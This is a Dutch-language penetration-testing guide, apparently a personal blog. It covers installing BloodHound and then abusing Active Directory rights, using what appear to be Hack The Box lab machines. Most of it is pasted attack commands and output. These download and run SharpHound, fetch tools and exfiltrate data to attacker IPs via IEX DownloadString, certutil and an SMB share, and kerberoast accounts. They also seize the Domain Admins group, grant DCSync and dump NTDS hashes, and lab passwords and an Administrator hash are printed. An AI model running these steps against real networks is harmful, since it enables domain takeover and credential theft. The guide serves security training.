Bloodhound

Intro

Ik heb de afgelopen maanden een paar mensen gehad die me vroegen hoe ik Bloodhound aan de praat kon krijgen nadat ik haar aanbevolen heb sinds ik de video “Six Degrees to Domain Admin” zag van BSIDES Las Vegas. Als je de video waarnaar ik verwijs nog steeds niet heb gezien, stel ik voor dat je een kijkje neemt voordat je doorgaat.

Het is echt zo’n geweldig hulpmiddel en ik raad het ten zeerste aan niet alleen info-sec professionals, maar aan iedereen die een Active Directory-omgeving beheert.

Het geweldige nieuws is dat Bloodhound zich nu in de Kali Linux-repository bevindt  en super gemakkelijk is te installeren is ,ik zal je laten zien hoe.

Zorg voor een up-to-date systeem.

Zorg er ten eerste voor dat u de nieuwste en beste gebruikt door een dist-upgrade zoals deze uit te voeren.

  apt-get update

en toen

  apt-get dist-upgrade

Bloodhound installeren

docker pull bannsec/bloodhound
xhost + && sudo docker run -it --rm -v /tmp/.X11-unix/:/tmp/.X11-unix -e DISPLAY=$DISPLAY --network host --device /dev/dri/card0 --name bloodhound bannsec/bloodhound

Je raadt het al, voer gewoon het volgende uit. Bloodhound is afhankelijk van neo4j, dus dat wordt ook geïnstalleerd.

  apt-get install bloodhound

 

 

Laat de hond het bloed zien

Open een nieuw terminalvenster en voer het volgende commando uit om Bloodhound te starten, laat de Neo4j-console draaien om voor de hand liggende redenen.

  bloodhound

Zoals u kunt zien, is Bloodhound nu actief en wacht het op gebruikersinvoer. Eerder bij het lanceren van Neo4j werd ook Bolt on bolt ingeschakeld: //127.0.0.1: 7687. U moet dit gebruiken als uw database-URL.

  • Database-URL – http: //127.0.0.1: 7687
  • Gebruikersnaam – neo4j
  • Wachtwoord – uw nieuw gewijzigde wachtwoord

Druk op login en je zou de Bloodhound-tool moeten zien, minus alle gegevens. U kunt nu uw gegevens importeren en analyseren.

*Evil-WinRM* PS C:\Users\svc_loanmgr\Documents> powershell -command "IEX(New-Object Net.WebClient).DownloadString('http://10.10.16.70/SharpHound.ps1'); Invoke-BloodHound -CollectionMethod All -Verbose -LdapUSer 'svc_****mgr' -LdapPass 'Money********worldgoround!'"

*Evil-WinRM* PS C:\Users\svc_loanmgr\Documents> download 20200218102507_BloodHound.zip
Info: Downloading 20200218102507_BloodHound.zip to 20200218102507_BloodHound.zip

Info: Download successful!

Hopelijk was dit een leuke en snelle gids om iedereen te helpen die problemen had om aan de slag te gaan met de geweldige tool die Bloodhound is.

Ik wil ook even de tijd nemen om @ _wald0 , @CptJesus en @ harmj0y te bedanken voor hun voortdurende harde werk aan dit geweldige project.

Gezondheid mannen!

 

Nog even een voorbeeld :

data verkrijgen:
upload SharpHound.ps1

*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> upload /root/htb/SharpHound.ps1 C:\Users\svc-alfresco\Documents
Info: Uploading /root/htb/SharpHound.ps1 to C:\Users\svc-alfresco\Documents

Data: 1226060 bytes of 1226060 bytes copied

Info: Upload successful!
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> Import-module .\SharpHound.ps1
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> Invoke-BloodHound -CollectionMethod all -Domain htb.local -LdapUser svc-alfresco -LdapPass s3rvice


nadat dit gedaan te hebben, hebben we een zip. Deze kunnen we downloaden met evil-winrm

*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> download C:\Users\svc-alfresco\Documents\20200102015742_BloodHound.zip /root/htb/puckiestyle.zip
Info: Downloading C:\Users\svc-alfresco\Documents\20200102015742_BloodHound.zip to /root/htb/puckiestyle.zip

Info: Download successful!

En het vervolgens importeren in bloodhound

Gebruikte bestanden : https://github.com/puckiestyle/powershell/blob/master/SharpHound.ps1

Via Windows kan het ook prima 🙂

https://bloodhound.readthedocs.io/en/latest/installation/windows.html#download-the-bloodhound-gui

Install Java

  1. Download the Windows installer for Oracle JDK 11 from https://www.oracle.com/java/technologies/javase-jdk11-downloads.html
  2. Use the installer to install Oracle JDK. The default options work fine.

Install neo4j

  1. Download the neo4j Community Server Edition zip from https://neo4j.com/download-center/#community
  2. Unzip the neo4j zip file.
  3. Open a command prompt, running as administrator. Change directory to the unzipped neo4j folder.
  4. Change directory to the bin directory in the Neo4j folder.
  5. Run the following command:
C:\> neo4j.bat install-service

Note

At this point you may see an error about Java not being found, or the wrong version of Java running. Ensure your JAVA_HOME environment variable is set to the JDK folder (example: C:\Program Files\Java\jdk-11.0.6

  1. neo4j is now installed as a Windows service. Run this command:
C:\> net start neo4j

You should see the message, “The neo4j Graph Database – neo4j service was started successfully.”

  1. Open a web browser and navigate to http://localhost:7474/. You should see the neo4j web console.
  2. Authenticate to neo4j in the web console with username neo4j, password neo4j. You’ll be prompted to change this password.

Download the BloodHound GUI

  1. Download the latest version of the BloodHound GUI from https://github.com/BloodHoundAD/BloodHound/releases
  2. Unzip the folder and double click BloodHound.exe
  3. Authenticate with the credentials you set up for neo4j
D:\OSCP\htb\outdated>SharpHound.exe -c All --zipfilename output.zip
2022-08-26T14:15:51.7087720+02:00|INFORMATION|This version of SharpHound is compatible with the 4.2 Release of BloodHound
2022-08-26T14:15:51.9326143+02:00|INFORMATION|Resolved Collection Methods: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
2022-08-26T14:15:52.0604128+02:00|INFORMATION|Initializing SharpHound at 14:15 on 26-8-2022
2022-08-26T14:15:53.2848648+02:00|INFORMATION|Flags: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
2022-08-26T14:15:53.6763944+02:00|INFORMATION|Beginning LDAP search for ngblunetworks.nl
2022-08-26T14:15:54.1498180+02:00|INFORMATION|Producer has finished, closing LDAP channel
2022-08-26T14:15:54.1548050+02:00|INFORMATION|LDAP channel closed, waiting for consumers
2022-08-26T14:16:24.0620098+02:00|INFORMATION|Status: 0 objects finished (+0 0)/s -- Using 40 MB RAM
2022-08-26T14:16:36.5523797+02:00|INFORMATION|Consumers finished, closing output channel
Closing writers
2022-08-26T14:16:36.9281631+02:00|INFORMATION|Output channel closed, waiting for output task to complete
2022-08-26T14:16:37.9011893+02:00|INFORMATION|Status: 386 objects finished (+386 8.772727)/s -- Using 50 MB RAM
2022-08-26T14:16:37.9011893+02:00|INFORMATION|Enumeration finished in 00:00:44.2297784
2022-08-26T14:16:38.1309649+02:00|INFORMATION|Saving cache with stats: 349 ID to type mappings.
353 name to SID mappings.
1 machine sid mappings.
2 sid to domain mappings.
0 global catalog mappings.
2022-08-26T14:16:38.1428971+02:00|INFORMATION|SharpHound Enumeration Completed at 14:16 on 26-8-2022! Happy Graphing!

D:\OSCP\htb\outdated>

.

We kunnen ook bloodhound python gebruiken om info via LDAP te extracten mbv  bloodhound-python zoals hieronder , alle info is in JSON formaat, deze kunnen we ook in Bloodhound importeren.

pip install bloodhound

$ pip install bloodhound
$ bloodhound-python -c ALL -u TED.GRAVES -p Mr.Teddy -d intelligence.htb -dc intelligence.htb -ns 10.10.10.248
INFO: Found AD domain: intelligence.htb INFO: Connecting to LDAP server: intelligence.htb INFO: Found 1 domains

 

Nog wat voorbeelden

Abusing ForceChangePassword

BloodHound’s hulp op ForceChangePassword kan geladen worden door rechts te klikken op het label:

We hebben PowerView.ps1 nodig voor de noodzakelijke functies.

upload /opt/PowerView.ps1
Import-Module .\PowerView.ps1
$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
Set-DomainUserPassword -Identity smith -AccountPassword $UserPassword

Abusing GenericWrite

To abuse GenericWrite, we hebben 2 opties. Ten eerste kunnen we een service-principalnaam instellen en dat account kerberoasten. Ten tweede kunnen we objecten instellen zoals een aanmeldingsscript dat wordt uitgevoerd bij de volgende keer dat een account inlogt.

We kunnen een SPN instellen zoals hieronder:,

Import-Module .\Powerview.ps1
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('object.local\smith', $SecPassword)

Set-DomainObject -Credential $Cred -Identity maria -SET @{serviceprincipalname='foobar/xd'}
setspn.exe -t object.local -q */*

Het werkt.

Let’s kerberoast it using rubeus.

.\rubeus.exe kerberoast /creduser:object.local\smith /credpassword:Password123!
hashcat -m 13100 -a 0 maria3.hash /opt/rockyou.txt

We kraken het en bezitten Maria, denk je toch? . Ze hebben eigenlijk een script ingesteld dat Maria’s aanmeldingsscript regelmatig uitvoert, zodat Maria niet echt inlogt, maar haar script wordt nog steeds uitgevoerd.

Setting the logon script

We kunnen een aanmeldingsscript instellen zoals hieronder:,

$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('object.local\smith', $SecPassword)

cd C:\\Windows\\System32\\spool\\drivers\\color
echo 'whoami > C:\\Windows\\System32\\spool\\drivers\\color\\poc.txt' > foo.ps1

Set-DomainObject -Credential $Cred -Identity maria -SET @{scriptpath='C:\\Windows\\System32\\spool\\drivers\\color\\foo.ps1'}

Abusing WriteOwner

We veranderen het  ownership van “Domain Admins” group zoals hieronder,

$SecPassword = ConvertTo-SecureString 'W3llcr4ft3d_4cls' -AsPlainText -Force;$Cred = New-Object System.Management.Automation.PSCredential('object.local\maria', $SecPassword)

Set-DomainObjectOwner -Credential $Cred -Identity "Domain Admins" -OwnerIdentity maria

De eigenaar van het object “Domeinbeheerders” is nu maria, maar we kunnen onze gebruikers nog steeds niet toevoegen aan de groep “Domeinbeheerders”. Ook daar moeten we toestemming voor geven.

We kunnen het ook controleren met Bloodhound en zoals je kunt zien, hebben we nu de “Domeinbeheerders”.

Laten we alle rechten aan Maria geven

Add-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity maria -Rights All -Verbose
net group "Domain Admins" maria /add

of

Om het eigendom van het object te wijzigen, kunt u de functie Set-DomainObjectOwner in PowerView gebruiken.

Mogelijk moet u zich bij de domeincontroller verifiëren als JDGODD@STREAMIO.HTB als u geen proces als die gebruiker uitvoert. Om dit in combinatie met Set-DomainObjectOwner te doen, maakt u eerst een PSCredential-object (deze voorbeelden komen uit de PowerView-helpdocumentatie):

$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)

Gebruik vervolgens Set-DomainObjectOwner en geef optioneel $Cred op als u nog geen proces uitvoert als JDGODD@STREAMIO.HTB:

Set-DomainObjectOwner -Credential $Cred -TargetIdentity “Domeinbeheerders” -OwnerIdentity harmj0y
Om het eigendom van een gebruikersobject te misbruiken, kunt u uzelf het privilege AddMember verlenen. Dit kan worden bereikt met behulp van de functie Add-DomainObjectAcl in PowerView.

Mogelijk moet u zich bij de domeincontroller verifiëren als JDGODD@STREAMIO.HTB als u geen proces als die gebruiker uitvoert. Om dit in combinatie met Add-DomainObjectAcl te doen, maakt u eerst een PSCredential-object (deze voorbeelden komen uit de PowerView-helpdocumentatie):

$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)

Gebruik vervolgens Add-DomainObjectAcl en geef optioneel $Cred op als u nog geen proces uitvoert als JDGODD@STREAMIO.HTB:

Add-DomainObjectAcl -Credential $Cred -TargetIdentity "Domain Admins" -Rights WriteMembers

U kunt nu leden aan de groep toevoegen met behulp van het netto binaire bestand of PowerView’s Add-DomainGroupMember.

Er zijn minstens twee manieren om deze aanval uit te voeren. De eerste en meest voor de hand liggende is door het ingebouwde binaire bestand net.exe in Windows te gebruiken (bijv.: net group “Domain Admins” harmj0y /add /domain). Zie het tabblad Opsec-overwegingen waarom dit een slecht idee kan zijn. De tweede en sterk aanbevolen methode is door de functie Add-DomainGroupMember in PowerView te gebruiken. Deze functie is op verschillende manieren superieur aan het gebruik van het binaire bestand net.exe. U kunt bijvoorbeeld alternatieve referenties opgeven, in plaats van een proces uit te voeren als of in te loggen als de gebruiker met het privilege AddMember. Bovendien heb je veel veiligere uitvoeringsopties dan met spawning net.exe (zie het tabblad opsec).

Om misbruik te maken van dit recht met PowerView’s Add-DomainGroupMember, importeert u eerst PowerView in uw agentsessie of in een PowerShell-instantie op de console. Mogelijk moet u zich bij de domeincontroller verifiëren als JDGODD@STREAMIO.HTB als u geen proces als die gebruiker uitvoert. Om dit te doen in combinatie met Add-DomainGroupMember, maakt u eerst een PSCredential-object (deze voorbeelden komen uit de PowerView-helpdocumentatie):

$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)

Gebruik vervolgens Add-DomainGroupMember, waarbij u optioneel $Cred opgeeft als u nog geen proces uitvoert als JDGODD@STREAMIO.HTB:

Add-DomainGroupMember -Identiteit ‘Domain Admins’ -Leden ‘harmj0y’ -Credential $Cred
Controleer ten slotte of de gebruiker met succes aan de groep is toegevoegd met PowerView’s Get-DomainGroupMember:

Get-DomainGroupMember -Identiteit ‘Domeinbeheerders’
Opruimen hiervoor kan worden gedaan met Remove-DomainObjectAcl

Remove-DomainObjectAcl – Referentie $cred -TargetIdentity “Domain Admins” -Rights WriteMembers
Opruimen voor de eigenaar kan worden gedaan door Set-DomainObjectOwner opnieuw te gebruiken

Abusing DC-SYNC

*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> $SecPassword = ConvertTo-SecureString 'abc123!' -AsPlainText -Force 
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> *Evil-WinRM* PS C:\Users\svc-alfresco\Documents> $Cred = New-Object System.Management.Automation.PSCredential('htb\puck', $SecPassword)
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> Add-ObjectACL -PrincipalIdentity puck -Credential $cred -Rights DCSync 
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents>
┌─[puck@parrot-lt]─[~/htb/forest] 
└──╼ $python3 secretsdump.py htb/puck@10.10.10.161 
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation Password:abc123! [-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) [*] Using the DRSUAPI method to get NTDS.DIT secrets htb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6:::

Abusing ReadGMSAPassword

We kunnen zien dat onze gebruiker lid is van de ITSUPPORT-groep, die ReadGMSAPassword-rechten heeft SVC_INT die op zijn beurt AllowedToDelegate-rechten heeft voor de domeincontroller. We kunnen de gMSADumper-tool om de hash van het serviceaccount wachtwoord te verkrijgen:

ssh tom@10.10.10.77
1ts-mag1c!!!
powershell -ep bypass
IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.10/SharpHound.ps1')
Invoke-BloodHound -CollectionMethod All

.

c:\Windows\Temp>certutil.exe -urlcache -f http://10.10.14.14/SharpHound.exe SharpHound.exe
****  Online  ****
CertUtil: -URLCache command completed successfully.

c:\Windows\Temp>Sharphound -c all
b''2022-09-07T09:18:58.6558733-07:00|INFORMATION|This version of SharpHound is compatible with the 4.2 Release of BloodHound

c:\Windows\Temp>certutil.exe -urlcache -f http://10.10.14.14/nc64.exe nc64.exe
****  Online  ****
CertUtil: -URLCache command completed successfully.
┌─[puck@parrot-lt]─[~/htb/intelligense 
└──╼ $bloodhound-python -d intelligence.htb -u Ted.Graves -p Mr.Teddy -ns 10.10.10.248 -c All
└──╼ $git clone https://github.com/micahvandeusen/gMSADumper
└──╼ $python3 gMSADumper/gMSADumper.py -u Ted.Graves -p Mr.Teddy -d intelligence.htb -l 10.10.10.248

PS C:\users\amanda\appdata\local\temp> iex(new-object net.webclient).downloadstring('http://10.10.14.4/SharpHound.ps1')
PS C:\users\amanda\appdata\local\temp> invoke-bloodhound -collectionmethod all
sudo impacket-smbserver -smb2support share . -username puck -password puck

PS htb\amanda@SIZZLE Documents> net use \\10.10.14.4\share /u:puck puck
PS C:\windows\temp> copy 20220918132203_BloodHound.zip \\10.10.14.4\share

Auteur: Jacco Straathof